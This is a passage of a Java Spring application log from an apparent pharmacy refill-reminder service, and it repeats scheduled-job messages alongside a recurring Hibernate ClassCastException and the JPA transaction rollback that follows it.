org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at 